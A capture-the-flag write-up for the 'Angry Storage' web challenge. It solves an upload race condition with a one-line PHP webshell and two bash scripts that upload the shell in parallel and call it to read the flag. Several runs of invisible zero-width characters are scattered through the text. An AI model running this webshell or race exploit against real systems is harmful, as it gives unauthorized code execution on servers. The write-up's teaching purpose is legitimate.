Angry Storage

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-11-17 | Status: Solved Techniques: file_upload_race_condition, temporary_file_access, webshell_upload

Summary

"Found this aaangry storage with source codes available. Can you hack it?"

Angry Storage — Web Kids 2.0

Description

"Found this aaangry storage with source codes available. Can you hack it?"

A file storage service that processes uploaded files slowly and deletes them after processing. The source code is available on the page.

URL: https://2019-11-17-angry.ctf.su/

Analysis

The storage service has a race condition vulnerability in its file upload handling:

1. User uploads a file
2. Server saves the file to a temporary location
3. Server processes the file (this takes time)
4. Server deletes the file after processing ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The vulnerability: there's a time window between file upload and deletion where the uploaded file is accessible. If we upload a PHP webshell and access it during this window, we can execute arbitrary code.

Solution

Step 1: Analyze the source code

Review the available source code to understand:

• Where uploaded files are stored
• How long the processing takes
• The URL pattern for accessing uploaded files

Step 2: Prepare the PHP webshell

Create a simple PHP webshell:

 php read-only • copy allowed Copy
<?php system($_GET['c']); ?>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Exploit the race condition

Upload the webshell and immediately try to access it before deletion:

 bash read-only • copy allowed Copy
#!/bin/bash
# Race condition exploit for file upload
# Upload PHP shell and access it before deletion

TARGET_UPLOAD="https://2019-11-17-angry.ctf.su/upload"
TARGET_ACCESS="https://2019-11-17-angry.ctf.su/uploads"

# Create PHP webshell
echo '<?php system($_GET["c"]); ?>' > shell.php

# Function to upload and access
exploit() {
    # Upload the shell
    RESPONSE=$(curl -s -X POST "$TARGET_UPLOAD" \
        -F "file=@shell.php")
    
    # Extract filename from response (adjust based on actual response format)
    FILENAME=$(echo "$RESPONSE" | grep -oP 'uploads/\K[^"]+')
    
    # Immediately try to access the shell
    curl -s "$TARGET_ACCESS/$FILENAME?c=cat+/flag.txt"
}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Run multiple attempts in parallel
for i in {1..50}; do
    exploit &
done

wait

Alternative: Parallel upload and access

 bash read-only • copy allowed Copy
#!/bin/bash
# More aggressive race condition exploit

SHELL_CONTENT='<?php system($_GET["c"]); ?>'
UPLOAD_URL="https://2019-11-17-angry.ctf.su/upload"
ACCESS_URL="https://2019-11-17-angry.ctf.su/uploads/shell.php"

# Continuously try to access the shell while uploading
while true; do
    # Upload in background
    echo "$SHELL_CONTENT" | curl -s -X POST "$UPLOAD_URL" \
        -F "file=@-;filename=shell.php" &
    
    # Try to access immediately
    RESULT=$(curl -s "$ACCESS_URL?c=cat+/flag.txt")
    
    if [[ "$RESULT" == *"spbctf"* ]]; then
        echo "Flag found: $RESULT"
        break
    fi
done

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Read the flag

Once the webshell executes, use it to read the flag:

?c=cat /flag.txt

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍